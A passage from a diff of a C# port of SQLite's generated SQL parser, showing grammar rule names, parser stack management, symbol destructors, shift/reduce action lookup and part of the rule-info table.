"stl_prefix ::= seltablist joinop", +/* 133 */ "stl_prefix ::=", +/* 134 */ "seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt", +/* 135 */ "seltablist ::= stl_prefix LP select RP as on_opt using_opt", +/* 136 */ "seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt", +/* 137 */ "dbnm ::=", +/* 138 */ "dbnm ::= DOT nm", +/* 139 */ "fullname ::= nm dbnm", +/* 140 */ "joinop ::= COMMA|JOIN", +/* 141 */ "joinop ::= JOIN_KW JOIN", +/* 142 */ "joinop ::= JOIN_KW nm JOIN", +/* 143 */ "joinop ::= JOIN_KW nm nm JOIN", +/* 144 */ "on_opt ::= ON expr", +/* 145 */ "on_opt ::=", +/* 146 */ "indexed_opt ::=", +/* 147 */ "indexed_opt ::= INDEXED BY nm", +/* 148 */ "indexed_opt ::= NOT INDEXED", +/* 149 */ "using_opt ::= USING LP inscollist RP", +/* 150 */ "using_opt ::=", +/* 151 */ "orderby_opt ::=", +/* 152 */ "orderby_opt ::= ORDER BY sortlist", +/* 153 */ "sortlist ::= sortlist COMMA sortitem sortorder", +/* 154 */ "sortlist ::= sortitem sortorder", +/* 155 */ "sortitem ::= expr", +/* 156 */ "sortorder ::= ASC", +/* 157 */ "sortorder ::= DESC", +/* 158 */ "sortorder ::=", +/* 159 */ "groupby_opt ::=", +/* 160 */ "groupby_opt ::= GROUP BY nexprlist", +/* 161 */ "having_opt ::=", +/* 162 */ "having_opt ::= HAVING expr", +/* 163 */ "limit_opt ::=", +/* 164 */ "limit_opt ::= LIMIT expr", +/* 165 */ "limit_opt ::= LIMIT expr OFFSET expr", +/* 166 */ "limit_opt ::= LIMIT expr COMMA expr", +/* 167 */ "cmd ::= DELETE FROM fullname indexed_opt where_opt", +/* 168 */ "where_opt ::=", +/* 169 */ "where_opt ::= WHERE expr", +/* 170 */ "cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt", +/* 171 */ "setlist ::= setlist COMMA nm EQ expr", +/* 172 */ "setlist ::= nm EQ expr", +/* 173 */ "cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP", +/* 174 */ "cmd ::= insert_cmd INTO fullname inscollist_opt select", +/* 175 */ "cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES", +/* 176 */ "insert_cmd ::= INSERT orconf", +/* 177 */ "insert_cmd ::= REPLACE", +/* 178 */ "itemlist ::= itemlist COMMA expr", +/* 179 */ "itemlist ::= expr", +/* 180 */ "inscollist_opt ::=", +/* 181 */ "inscollist_opt ::= LP inscollist RP", +/* 182 */ "inscollist ::= inscollist COMMA nm", +/* 183 */ "inscollist ::= nm", +/* 184 */ "expr ::= term", +/* 185 */ "expr ::= LP expr RP", +/* 186 */ "term ::= NULL", +/* 187 */ "expr ::= id", +/* 188 */ "expr ::= JOIN_KW", +/* 189 */ "expr ::= nm DOT nm", +/* 190 */ "expr ::= nm DOT nm DOT nm", +/* 191 */ "term ::= INTEGER|FLOAT|BLOB", +/* 192 */ "term ::= STRING", +/* 193 */ "expr ::= REGISTER", +/* 194 */ "expr ::= VARIABLE", +/* 195 */ "expr ::= expr COLLATE ids", +/* 196 */ "expr ::= CAST LP expr AS typetoken RP", +/* 197 */ "expr ::= ID LP distinct exprlist RP", +/* 198 */ "expr ::= ID LP STAR RP", +/* 199 */ "term ::= CTIME_KW", +/* 200 */ "expr ::= expr AND expr", +/* 201 */ "expr ::= expr OR expr", +/* 202 */ "expr ::= expr LT|GT|GE|LE expr", +/* 203 */ "expr ::= expr EQ|NE expr", +/* 204 */ "expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr", +/* 205 */ "expr ::= expr PLUS|MINUS expr", +/* 206 */ "expr ::= expr STAR|SLASH|REM expr", +/* 207 */ "expr ::= expr CONCAT expr", +/* 208 */ "likeop ::= LIKE_KW", +/* 209 */ "likeop ::= NOT LIKE_KW", +/* 210 */ "likeop ::= MATCH", +/* 211 */ "likeop ::= NOT MATCH", +/* 212 */ "expr ::= expr likeop expr", +/* 213 */ "expr ::= expr likeop expr ESCAPE expr", +/* 214 */ "expr ::= expr ISNULL|NOTNULL", +/* 215 */ "expr ::= expr NOT NULL", +/* 216 */ "expr ::= expr IS expr", +/* 217 */ "expr ::= expr IS NOT expr", +/* 218 */ "expr ::= NOT expr", +/* 219 */ "expr ::= BITNOT expr", +/* 220 */ "expr ::= MINUS expr", +/* 221 */ "expr ::= PLUS expr", +/* 222 */ "between_op ::= BETWEEN", +/* 223 */ "between_op ::= NOT BETWEEN", +/* 224 */ "expr ::= expr between_op expr AND expr", +/* 225 */ "in_op ::= IN", +/* 226 */ "in_op ::= NOT IN", +/* 227 */ "expr ::= expr in_op LP exprlist RP", +/* 228 */ "expr ::= LP select RP", +/* 229 */ "expr ::= expr in_op LP select RP", +/* 230 */ "expr ::= expr in_op nm dbnm", +/* 231 */ "expr ::= EXISTS LP select RP", +/* 232 */ "expr ::= CASE case_operand case_exprlist case_else END", +/* 233 */ "case_exprlist ::= case_exprlist WHEN expr THEN expr", +/* 234 */ "case_exprlist ::= WHEN expr THEN expr", +/* 235 */ "case_else ::= ELSE expr", +/* 236 */ "case_else ::=", +/* 237 */ "case_operand ::= expr", +/* 238 */ "case_operand ::=", +/* 239 */ "exprlist ::= nexprlist", +/* 240 */ "exprlist ::=", +/* 241 */ "nexprlist ::= nexprlist COMMA expr", +/* 242 */ "nexprlist ::= expr", +/* 243 */ "cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP", +/* 244 */ "uniqueflag ::= UNIQUE", +/* 245 */ "uniqueflag ::=", +/* 246 */ "idxlist_opt ::=", +/* 247 */ "idxlist_opt ::= LP idxlist RP", +/* 248 */ "idxlist ::= idxlist COMMA nm collate sortorder", +/* 249 */ "idxlist ::= nm collate sortorder", +/* 250 */ "collate ::=", +/* 251 */ "collate ::= COLLATE ids", +/* 252 */ "cmd ::= DROP INDEX ifexists fullname", +/* 253 */ "cmd ::= VACUUM", +/* 254 */ "cmd ::= VACUUM nm", +/* 255 */ "cmd ::= PRAGMA nm dbnm", +/* 256 */ "cmd ::= PRAGMA nm dbnm EQ nmnum", +/* 257 */ "cmd ::= PRAGMA nm dbnm LP nmnum RP", +/* 258 */ "cmd ::= PRAGMA nm dbnm EQ minus_num", +/* 259 */ "cmd ::= PRAGMA nm dbnm LP minus_num RP", +/* 260 */ "nmnum ::= plus_num", +/* 261 */ "nmnum ::= nm", +/* 262 */ "nmnum ::= ON", +/* 263 */ "nmnum ::= DELETE", +/* 264 */ "nmnum ::= DEFAULT", +/* 265 */ "plus_num ::= plus_opt number", +/* 266 */ "minus_num ::= MINUS number", +/* 267 */ "number ::= INTEGER|FLOAT", +/* 268 */ "plus_opt ::= PLUS", +/* 269 */ "plus_opt ::=", +/* 270 */ "cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END", +/* 271 */ "trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause", +/* 272 */ "trigger_time ::= BEFORE", +/* 273 */ "trigger_time ::= AFTER", +/* 274 */ "trigger_time ::= INSTEAD OF", +/* 275 */ "trigger_time ::=", +/* 276 */ "trigger_event ::= DELETE|INSERT", +/* 277 */ "trigger_event ::= UPDATE", +/* 278 */ "trigger_event ::= UPDATE OF inscollist", +/* 279 */ "foreach_clause ::=", +/* 280 */ "foreach_clause ::= FOR EACH ROW", +/* 281 */ "when_clause ::=", +/* 282 */ "when_clause ::= WHEN expr", +/* 283 */ "trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI", +/* 284 */ "trigger_cmd_list ::= trigger_cmd SEMI", +/* 285 */ "trnm ::= nm", +/* 286 */ "trnm ::= nm DOT nm", +/* 287 */ "tridxby ::=", +/* 288 */ "tridxby ::= INDEXED BY nm", +/* 289 */ "tridxby ::= NOT INDEXED", +/* 290 */ "trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt", +/* 291 */ "trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP", +/* 292 */ "trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select", +/* 293 */ "trigger_cmd ::= DELETE FROM trnm tridxby where_opt", +/* 294 */ "trigger_cmd ::= select", +/* 295 */ "expr ::= RAISE LP IGNORE RP", +/* 296 */ "expr ::= RAISE LP raisetype COMMA nm RP", +/* 297 */ "raisetype ::= ROLLBACK", +/* 298 */ "raisetype ::= ABORT", +/* 299 */ "raisetype ::= FAIL", +/* 300 */ "cmd ::= DROP TRIGGER ifexists fullname", +/* 301 */ "cmd ::= ATTACH database_kw_opt expr AS expr key_opt", +/* 302 */ "cmd ::= DETACH database_kw_opt expr", +/* 303 */ "key_opt ::=", +/* 304 */ "key_opt ::= KEY expr", +/* 305 */ "database_kw_opt ::= DATABASE", +/* 306 */ "database_kw_opt ::=", +/* 307 */ "cmd ::= REINDEX", +/* 308 */ "cmd ::= REINDEX nm dbnm", +/* 309 */ "cmd ::= ANALYZE", +/* 310 */ "cmd ::= ANALYZE nm dbnm", +/* 311 */ "cmd ::= ALTER TABLE fullname RENAME TO nm", +/* 312 */ "cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column", +/* 313 */ "add_column_fullname ::= fullname", +/* 314 */ "kwcolumn_opt ::=", +/* 315 */ "kwcolumn_opt ::= COLUMNKW", +/* 316 */ "cmd ::= create_vtab", +/* 317 */ "cmd ::= create_vtab LP vtabarglist RP", +/* 318 */ "create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm", +/* 319 */ "vtabarglist ::= vtabarg", +/* 320 */ "vtabarglist ::= vtabarglist COMMA vtabarg", +/* 321 */ "vtabarg ::=", +/* 322 */ "vtabarg ::= vtabarg vtabargtoken", +/* 323 */ "vtabargtoken ::= ANY", +/* 324 */ "vtabargtoken ::= lp anylist RP", +/* 325 */ "lp ::= LP", +/* 326 */ "anylist ::=", +/* 327 */ "anylist ::= anylist LP anylist RP", +/* 328 */ "anylist ::= anylist ANY", +}; +#endif // * NDEBUG */ + + +#if YYSTACKDEPTH//<=0 +/* +** Try to increase the size of the parser stack. +*/ +static void yyGrowStack(yyParser p){ +int newSize; +//yyStackEntry pNew; + +newSize = p.yystksz*2 + 100; +//pNew = realloc(p.yystack, newSize*sizeof(pNew[0])); +//if( pNew !=null){ +p.yystack = Array.Resize(p.yystack,newSize); //pNew; +p.yystksz = newSize; +#if !NDEBUG +if( yyTraceFILE ){ +fprintf(yyTraceFILE,"%sStack grows to %d entries!\n", +yyTracePrompt, p.yystksz); +} +#endif +//} +} +#endif + + /* +** This function allocates a new parser. +** The only argument is a pointer to a function which works like +** malloc. +** +** Inputs: +** A pointer to the function used to allocate memory. +** +** Outputs: +** A pointer to a parser. This pointer is used in subsequent calls +** to sqlite3Parser and sqlite3ParserFree. +*/ + static yyParser sqlite3ParserAlloc() + {//void *(*mallocProc)(size_t)){ + yyParser pParser = new yyParser(); + //pParser = (yyParser*)(*mallocProc)( (size_t)yyParser.Length ); + if ( pParser != null ) + { + pParser.yyidx = -1; +#if YYTRACKMAXSTACKDEPTH +pParser.yyidxMax=0; +#endif + +#if YYSTACKDEPTH//<=0 +pParser.yystack = NULL; +pParser.yystksz = null; +yyGrowStack(pParser); +#endif + } + return pParser; + } + + /* The following function deletes the value associated with a + ** symbol. The symbol can be either a terminal or nonterminal. + ** "yymajor" is the symbol code, and "yypminor" is a pointer to + ** the value. + */ + static void yy_destructor( + yyParser yypParser, /* The parser */ + YYCODETYPE yymajor, /* Type code for object to destroy */ + YYMINORTYPE yypminor /* The object to be destroyed */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; + switch ( yymajor ) + { + /* Here is inserted the actions which take place when a + ** terminal or non-terminal is destroyed. This can happen + ** when the symbol is popped from the stack during a + ** reduce or during error processing or when a parser is + ** being destroyed before it is finished parsing. + ** + ** Note: during a reduce, the only symbols destroyed are those + ** which appear on the RHS of the rule, but which are not used + ** inside the C code. + */ + case 160: /* select */ + case 194: /* oneselect */ + { + //#line 403 "parse.y" + sqlite3SelectDelete( pParse.db, ref ( yypminor.yy387 ) ); + //#line 1399 "parse.c" + } + break; + case 174: /* term */ + case 175: /* Expr */ + { + //#line 720 "parse.y" + sqlite3ExprDelete( pParse.db, ref ( yypminor.yy118 ).pExpr ); + //#line 1407 "parse.c" + } + break; + case 179: /* idxlist_opt */ + case 187: /* idxlist */ + case 197: /* selcollist */ + case 200: /* groupby_opt */ + case 202: /* orderby_opt */ + case 204: /* sclp */ + case 214: /* sortlist */ + case 216: /* nexprlist */ + case 217: /* setlist */ + case 220: /* itemlist */ + case 221: /* exprlist */ + case 226: /* case_exprlist */ + { + //#line 1103 "parse.y" + sqlite3ExprListDelete( pParse.db, ref ( yypminor.yy322 ) ); + //#line 1425 "parse.c" + } + break; + case 193: /* fullname */ + case 198: /* from */ + case 206: /* seltablist */ + case 207: /* stl_prefix */ + { + //#line 534 "parse.y" + sqlite3SrcListDelete( pParse.db, ref ( yypminor.yy259 ) ); + //#line 1435 "parse.c" + } + break; + case 199: /* where_opt */ + case 201: /* having_opt */ + case 210: /* on_opt */ + case 215: /* sortitem */ + case 225: /* case_operand */ + case 227: /* case_else */ + case 238: /* when_clause */ + case 243: /* key_opt */ + { + //#line 644 "parse.y" + sqlite3ExprDelete( pParse.db, ref ( yypminor.yy314 ) ); + //#line 1449 "parse.c" + } + break; + case 211: /* using_opt */ + case 213: /* inscollist */ + case 219: /* inscollist_opt */ + { + //#line 566 "parse.y" + sqlite3IdListDelete( pParse.db, ref ( yypminor.yy384 ) ); + //#line 1458 "parse.c" + } + break; + case 234: /* trigger_cmd_list */ + case 239: /* trigger_cmd */ + { + //#line 1210"parse.y" + sqlite3DeleteTriggerStep( pParse.db, ref ( yypminor.yy203 ) ); + //#line 1466 "parse.c" + } + break; + case 236: /* trigger_event */ + { + //#line 1196 "parse.y" + sqlite3IdListDelete( pParse.db, ref ( yypminor.yy90 ).b ); + //#line 1473 "parse.c" + } + break; + default: + break; /* If no destructor action specified: do nothing */ + } + } + + /* + ** Pop the parser's stack once. + ** + ** If there is a destructor routine associated with the token which + ** is popped from the stack, then call it. + ** + ** Return the major token number for the symbol popped. + */ + static int yy_pop_parser_stack( yyParser pParser ) + { + YYCODETYPE yymajor; + yyStackEntry yytos = pParser.yystack[pParser.yyidx]; + + /* There is no mechanism by which the parser stack can be popped below + ** empty in SQLite. */ + if ( NEVER( pParser.yyidx < 0 ) ) + return 0; +#if !NDEBUG + if ( yyTraceFILE != null && pParser.yyidx >= 0 ) + { + fprintf( yyTraceFILE, "%sPopping %s\n", + yyTracePrompt, + yyTokenName[yytos.major] ); + } +#endif + yymajor = yytos.major; + yy_destructor( pParser, yymajor, yytos.minor ); + pParser.yyidx--; + return yymajor; + } + + /* + ** Deallocate and destroy a parser. Destructors are all called for + ** all stack elements before shutting the parser down. + ** + ** Inputs: + **
    + **
  • A pointer to the parser. This should be a pointer + ** obtained from sqlite3ParserAlloc. + **
  • A pointer to a function used to reclaim memory obtained + ** from malloc. + **
+ */ + static void sqlite3ParserFree( + yyParser p, /* The parser to be deleted */ + dxDel freeProc//)(void*) /* Function used to reclaim memory */ + ) + { + yyParser pParser = p; + /* In SQLite, we never try to destroy a parser that was not successfully + ** created in the first place. */ + if ( NEVER( pParser == null ) ) + return; + while ( pParser.yyidx >= 0 ) + yy_pop_parser_stack( pParser ); +#if YYSTACKDEPTH//<=0 +pParser.yystack = null;//free(pParser.yystack); +#endif + pParser = null;// freeProc(ref pParser); + } + + /* + ** Return the peak depth of the stack for a parser. + */ +#if YYTRACKMAXSTACKDEPTH +int sqlite3ParserStackPeak(void p){ +yyParser pParser = (yyParser*)p; +return pParser.yyidxMax; +} +#endif + + /* +** Find the appropriate action for a parser given the terminal +** look-ahead token iLookAhead. +** +** If the look-ahead token is YYNOCODE, then check to see if the action is +** independent of the look-ahead. If it is, return the action, otherwise +** return YY_NO_ACTION. +*/ + static int yy_find_shift_action( + yyParser pParser, /* The parser */ + YYCODETYPE iLookAhead /* The look-ahead token */ + ) + { + int i; + int stateno = pParser.yystack[pParser.yyidx].stateno; + + if ( stateno > YY_SHIFT_COUNT + || ( i = yy_shift_ofst[stateno] ) == YY_SHIFT_USE_DFLT ) + { + return yy_default[stateno]; + } + Debug.Assert( iLookAhead != YYNOCODE ); + i += iLookAhead; + if ( i < 0 || i >= YY_ACTTAB_COUNT || yy_lookahead[i] != iLookAhead ) + { + if ( iLookAhead > 0 ) + { + //#if YYFALLBACK + YYCODETYPE iFallback; /* Fallback token */ + if ( iLookAhead < yyFallback.Length //yyFallback.Length/sizeof(yyFallback[0]) + && ( iFallback = yyFallback[iLookAhead] ) != 0 ) + { +#if !NDEBUG + if ( yyTraceFILE != null ) + { + fprintf( yyTraceFILE, "%sFALLBACK %s => %s\n", + yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[iFallback] ); + } +#endif + return yy_find_shift_action( pParser, iFallback ); + } + //#endif + //#if YYWILDCARD + { + int j = i - iLookAhead + YYWILDCARD; + if ( + //#if YY_SHIFT_MIN+YYWILDCARD<0 + j >= 0 && + //#endif + //#if YY_SHIFT_MAX+YYWILDCARD>=YY_ACTTAB_COUNT + j < YY_ACTTAB_COUNT && + //#endif + yy_lookahead[j] == YYWILDCARD + ) + { +#if !NDEBUG + if ( yyTraceFILE != null ) + { + Debugger.Break(); // TODO -- + //fprintf(yyTraceFILE, "%sWILDCARD %s => %s\n", + // yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[YYWILDCARD]); + } +#endif // * NDEBUG */ + return yy_action[j]; + } + } + //#endif // * YYWILDCARD */ + } + return yy_default[stateno]; + } + else + { + return yy_action[i]; + } + } + + /* + ** Find the appropriate action for a parser given the non-terminal + ** look-ahead token iLookAhead. + ** + ** If the look-ahead token is YYNOCODE, then check to see if the action is + ** independent of the look-ahead. If it is, return the action, otherwise + ** return YY_NO_ACTION. + */ + static int yy_find_reduce_action( + int stateno, /* Current state number */ + YYCODETYPE iLookAhead /* The look-ahead token */ + ) + { + int i; +#if YYERRORSYMBOL +if( stateno>YY_REDUCE_COUNT ){ +return yy_default[stateno]; +} +#else + Debug.Assert( stateno <= YY_REDUCE_COUNT ); +#endif + i = yy_reduce_ofst[stateno]; + Debug.Assert( i != YY_REDUCE_USE_DFLT ); + Debug.Assert( iLookAhead != YYNOCODE ); + i += iLookAhead; +#if YYERRORSYMBOL +if( i<0 || i>=YY_ACTTAB_COUNT || yy_lookahead[i]!=iLookAhead ){ +return yy_default[stateno]; +} +#else + Debug.Assert( i >= 0 && i < YY_ACTTAB_COUNT ); + Debug.Assert( yy_lookahead[i] == iLookAhead ); +#endif + return yy_action[i]; + } + + /* + ** The following routine is called if the stack overflows. + */ + static void yyStackOverflow( yyParser yypParser, YYMINORTYPE yypMinor ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; + yypParser.yyidx--; +#if !NDEBUG + if ( yyTraceFILE != null ) + { + Debugger.Break(); // TODO -- + //fprintf(yyTraceFILE, "%sStack Overflow!\n", yyTracePrompt); + } +#endif + while ( yypParser.yyidx >= 0 ) + yy_pop_parser_stack( yypParser ); + /* Here code is inserted which will execute if the parser + ** stack every overflows */ + //#line 38 "parse.y" + + UNUSED_PARAMETER( yypMinor ); /* Silence some compiler warnings */ + sqlite3ErrorMsg( pParse, "parser stack overflow" ); + pParse.parseError = 1; + //#line 1664 "parse.c" + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument var */ + } + + /* + ** Perform a shift action. + */ + static void yy_shift( + yyParser yypParser, /* The parser to be shifted */ + int yyNewState, /* The new state to shift in */ + int yyMajor, /* The major token to shift in */ + YYMINORTYPE yypMinor /* Pointer to the minor token to shift in */ + ) + { + yyStackEntry yytos = new yyStackEntry(); + yypParser.yyidx++; +#if YYTRACKMAXSTACKDEPTH +if( yypParser.yyidx>yypParser.yyidxMax ){ +yypParser.yyidxMax = yypParser.yyidx; +} +#endif +#if !YYSTACKDEPTH//was YYSTACKDEPTH>0 + if ( yypParser.yyidx >= YYSTACKDEPTH ) + { + yyStackOverflow( yypParser, yypMinor ); + return; + } +#else +if( yypParser.yyidx>=yypParser.yystksz ){ +yyGrowStack(yypParser); +if( yypParser.yyidx>=yypParser.yystksz ){ +yyStackOverflow(yypParser, yypMinor); +return; +} +} +#endif + yypParser.yystack[yypParser.yyidx] = yytos;//yytos = yypParser.yystack[yypParser.yyidx]; + yytos.stateno = (YYACTIONTYPE)yyNewState; + yytos.major = (YYCODETYPE)yyMajor; + yytos.minor = yypMinor; +#if !NDEBUG + if ( yyTraceFILE != null && yypParser.yyidx > 0 ) + { + int i; + fprintf( yyTraceFILE, "%sShift %d\n", yyTracePrompt, yyNewState ); + fprintf( yyTraceFILE, "%sStack:", yyTracePrompt ); + for ( i = 1; i <= yypParser.yyidx; i++ ) + fprintf( yyTraceFILE, " %s", yyTokenName[yypParser.yystack[i].major] ); + fprintf( yyTraceFILE, "\n" ); + } +#endif + } + /* The following table contains information about every rule that + ** is used during the reduce. + */ + public struct _yyRuleInfo + { + public YYCODETYPE lhs; /* Symbol on the left-hand side of the rule */ + public byte nrhs; /* Number of right-hand side symbols in the rule */ + public _yyRuleInfo( YYCODETYPE lhs, byte nrhs ) + { + this.lhs = lhs; + this.nrhs = nrhs; + } + + } + static _yyRuleInfo[] yyRuleInfo = new _yyRuleInfo[]{ +new _yyRuleInfo( 142, 1 ), +new _yyRuleInfo( 143, 2 ), +new _yyRuleInfo( 143, 1 ), +new _yyRuleInfo( 144, 1 ), +new _yyRuleInfo( 144, 3 ), +new _yyRuleInfo( 145, 0 ), +new _yyRuleInfo( 145, 1 ), +new _yyRuleInfo( 145, 3 ), +new _yyRuleInfo( 146, 1 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 149, 0 ), +new _yyRuleInfo( 149, 1 ), +new _yyRuleInfo( 149, 2 ), +new _yyRuleInfo( 148, 0 ), +new _yyRuleInfo( 148, 1 ), +new _yyRuleInfo( 148, 1 ), +new _yyRuleInfo( 148, 1 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 151, 1 ), +new _yyRuleInfo( 151, 0 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 152, 6 ), +new _yyRuleInfo( 154, 1 ), +new _yyRuleInfo( 156, 0 ), +new _yyRuleInfo( 156, 3 ), +new _yyRuleInfo( 155, 1 ), +new _yyRuleInfo( 155, 0 ), +new _yyRuleInfo( 153, 4 ), +new _yyRuleInfo( 153, 2 ), +new _yyRuleInfo( 158, 3 ), +new _yyRuleInfo( 158, 1 ), +new _yyRuleInfo( 161, 3 ), +new _yyRuleInfo( 162, 1 ), +new _yyRuleInfo( 165, 1 ), +new _yyRuleInfo( 165, 1 ), +new _yyRuleInfo( 166, 1 ), +new _yyRuleInfo( 150, 1 ), +new _yyRuleInfo( 150, 1 ), +new _yyRuleInfo( 150, 1 ), +new _yyRuleInfo( 163, 0 ), +new _yyRuleInfo( 163, 1 ), +new _yyRuleInfo( 167, 1 ), +new _yyRuleInfo( 167, 4 ), +new _yyRuleInfo( 167, 6 ), +new _yyRuleInfo( 168, 1 ), +new _yyRuleInfo( 168, 2 ), +new _yyRuleInfo( 169, 1 ), +new _yyRuleInfo( 169, 1 ), +new _yyRuleInfo( 164, 2 ), +new _yyRuleInfo( 164, 0 ), +new _yyRuleInfo( 172, 3 ), +new _yyRuleInfo( 172, 1 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 4 ), +new _yyRuleInfo( 173, 3 ), +new _yyRuleInfo( 173, 3 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 3 ), +new _yyRuleInfo( 173, 5 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 4 ), +new _yyRuleInfo( 173, 4 ), +new _yyRuleInfo( 173, 1 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 178, 0 ), +new _yyRuleInfo( 178, 1 ), +new _yyRuleInfo( 180, 0 ), +new _yyRuleInfo( 180, 2 ), +new _yyRuleInfo( 182, 2 ), +new _yyRuleInfo( 182, 3 ), +new _yyRuleInfo( 182, 3 ), +new _yyRuleInfo( 182, 3 ), +new _yyRuleInfo( 183, 2 ), +new _yyRuleInfo( 183, 2 ), +new _yyRuleInfo( 183, 1 ), +new _yyRuleInfo( 183, 1 ), +new _yyRuleInfo( 183, 2 ), +new _yyRuleInfo( 181, 3 ), +new _yyRuleInfo( 181, 2 ), +new _yyRuleInfo( 184, 0 ), +new _yyRuleInfo( 184, 2 ), +new _yyRuleInfo( 184, 2 ), +new _yyRuleInfo( 159, 0 ), +new _yyRuleInfo( 159, 2 ), +new _yyRuleInfo( 185, 3 ), +new _yyRuleInfo( 185, 2 ), +new _yyRuleInfo( 185, 1 ), +new _yyRuleInfo( 186, 2 ), +new _yyRuleInfo( 186, 7 ), +new _yyRuleInfo( 186, 5 ), +new _yyRuleInfo( 186, 5 ), +new _yyRuleInfo( 186, 10 ), +new _yyRuleInfo( 188, 0 ), +new _yyRuleInfo( 188, 1 ), +new _yyRuleInfo( 176, 0 ), +new _yyRuleInfo( 176, 3 ), +new _yyRuleInfo( 189, 0 ), +new _yyRuleInfo( 189, 2 ), +new _yyRuleInfo( 190, 1 ), +new _yyRuleInfo( 190, 1 ), +new _yyRuleInfo( 190, 1 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 192, 2 ), +new _yyRuleInfo( 192, 0 ), +new _yyRuleInfo( 147, 8 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 160, 1 ), +new _yyRuleInfo( 160, 3 ), +new _yyRuleInfo( 195, 1 ), +new _yyRuleInfo( 195, 2 ), +new _yyRuleInfo( 195, 1 ), +new _yyRuleInfo( 194, 9 ), +new _yyRuleInfo( 196, 1 ), +new _yyRuleInfo( 196, 1 ), +new _yyRuleInfo( 196, 0 ), +new _yyRuleInfo( 204, 2 ), +new _yyRuleInfo( 204, 0 ), +new _yyRuleInfo( 197, 3 ), +new _yyRuleInfo( 197, 2 ), +new _yyRuleInfo( 197, 4 ), +new _yyRuleInfo( 205, 2 ), +new _yyRuleInfo( 205, 1 ), +new _yyRuleInfo( 205, 0 ), +new _yyRuleInfo( 198, 0 ), +new _yyRuleInfo( 198, 2 ), +new _yyRuleInfo( 207, 2 ), +new _yyRuleInfo( 207, 0 ), +new _yyRuleInfo( 206, 7 ), +new _yyRuleInfo( 206, 7 ), +new _yyRuleInfo( 206, 7 ), +new _yyRuleInfo( 157, 0 ), +new _yyRuleInfo( 157, 2 ), +new _yyRuleInfo( 193, 2 ), +new _yyRuleInfo( 208, 1 ), +new _yyRuleInfo( 208, 2 ), +new _yyRuleInfo( 208, 3 ), +new _yyRuleInfo( 208, 4 ), +new _yyRuleInfo( 210, 2 ), +new _yyRuleInfo( 210, 0 ), +new _yyRuleInfo( 209, 0 ), +new _yyRuleInfo( 209, 3 ), +new _yyRuleInfo( 209, 2 ), +new _yyRuleInfo( 211, 4 ), +new _yyRuleInfo( 211, 0 ), +new _yyRuleInfo( 202, 0 ), +new _yyRuleInfo( 202, 3 ), +new _yyRuleInfo( 214, 4 ), +new _yyRuleInfo( 214, 2 ), +new _yyRuleInfo( 215, 1 ), +new _yyRuleInfo( 177, 1 ), +new _yyRuleInfo( 177, 1 ), +new _yyRuleInfo( 177, 0 ), +new _yyRuleInfo( 200, 0 ), +new _yyRuleInfo( 200, 3 ), +new _yyRuleInfo( 201, 0 ), +new _yyRuleInfo( 201, 2 ), +new _yyRuleInfo( 203, 0 ), +new _yyRuleInfo( 203, 2 ), +new _yyRuleInfo( 203, 4 ), +new _yyRuleInfo( 203, 4 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 199, 0 ), +new _yyRuleInfo( 199, 2 ), +new _yyRuleInfo( 147, 7 ), +new _yyRuleInfo( 217, 5 ), +new _yyRuleInfo( 217, 3 ), +new _yyRuleInfo( 147, 8 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 218, 2 ), +new _yyRuleInfo( 218, 1 ), +new _yyRuleInfo( 220, 3 ), +new _yyRuleInfo( 220, 1 ), +new _yyRuleInfo( 219, 0 ), +new _yyRuleInfo( 219, 3 ), +new _yyRuleInfo( 213, 3 ), +new _yyRuleInfo( 213, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 6 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), 